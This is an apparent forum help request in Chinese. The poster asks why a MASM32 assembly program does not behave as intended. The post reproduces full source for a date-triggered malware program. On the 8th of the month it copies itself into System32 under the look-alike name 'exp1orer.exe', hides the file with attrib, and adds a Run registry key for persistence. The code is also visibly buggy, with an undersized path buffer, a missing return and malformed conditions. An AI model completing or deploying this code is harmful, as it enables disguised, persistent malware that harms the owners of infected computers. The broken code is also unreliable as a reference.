问题描述:程序运行,首先判断本地时间,如果是8号,就调用_systemWin..不过呢,在编译的时候,没有出现错误,运行程序,没有发现对注册表写入操作,在系统目录下,也没有发现自我复制的文件..程序居然还自我删除,郁闷ing~~好象我没加入自我删除的功能....
代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
.data
szWin2000 db 'C:\WINNT\System32\exp1orer.exe',0
szWinXp db 'C:\WINDOWS\System32\exp1orer.exe',0
szCmdAttrib db 'attrib +h exp1orer.exe',0
szDirectory db 0
szRegKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'systemRunDll',0
szStr2000 db "C:\WINNT\System32\exp1orer.exe"
szStrXp db "C:\WINDOWS\System32\exp1orer.exe"
szTitle db '时间',0
szCaption db '今天不是8号',0
.data?
hModule dd ?
lpSystemTime SYSTEMTIME <?>
osVersion OSVERSIONINFO <?>
stStartUp STARTUPINFO <?>
stProcInfo PROCESS_INFORMATION <?>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_systemWin proc
invoke GetModuleFileName,hModule,addr szDirectory,200;获取程序路径
invoke GetVersionEx,addr osVersion;判断操作系统
.if eax == 5 ;是windows2000
invoke CopyFile,addr szDirectory,addr szWin2000,FALSE;复制自身到系统目录
call _attrib ;调用_attrib,设置隐藏属性
call _EnumKey2000;调用_EnumKey2000,写入注册表启动
invoke ExitProcess,NULL
.elseif
invoke CopyFile,addr szDirectory,addr szWinXp,FALSE
call _attrib
call _EnumKeyXp
invoke ExitProcess,NULL
.endif
ret
_systemWin endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_attrib proc
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,\
NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo
_attrib endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKey2000 proc _lpKey ;在windows2000的情况下对注册表的操作
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStr2000,19 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_EnumKey2000 endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKeyXp proc _lpKey ;在windows其他版本的情况下对注册表的操作
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStrXp,19 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_EnumKeyXp endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetSystemTime,offset lpSystemTime
movzx ecx,lpSystemTime.wDay ;获取今天的日期
.if ecx == 8 ;如果是8号
call _systemWin ;调用_systemWin
.elseif
invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK
invoke ExitProcess,NULL
.endif
end start
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!